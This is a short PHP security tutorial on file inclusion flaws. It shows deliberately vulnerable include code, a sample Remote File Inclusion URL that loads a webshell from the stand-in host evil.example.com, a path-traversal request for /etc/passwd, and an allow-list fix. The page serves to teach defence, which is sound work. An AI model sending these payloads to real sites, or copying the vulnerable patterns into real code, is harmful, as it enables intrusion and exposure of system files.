File Inclusion

suggest change

Remote File Inclusion

Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file.

This example passes a request value straight to include. A remote URL is included only when allow_url_include is enabled. That setting is off by default:

<?php
include $_GET['page'];

/vulnerable.php?page=http://evil.example.com/webshell.txt?

Local File Inclusion

Local file inclusion (LFI) means the request chooses a local path that include then loads.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

Solution to RFI & LFI:

Allow only names you have approved. In the LFI sample, $page is always set, so isset($page) does not reject a missing page parameter. Compare the final path with an allow-list:

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

Feedback about page:

Feedback:
Optional: your email if you want me to get back to you:



Table Of Contents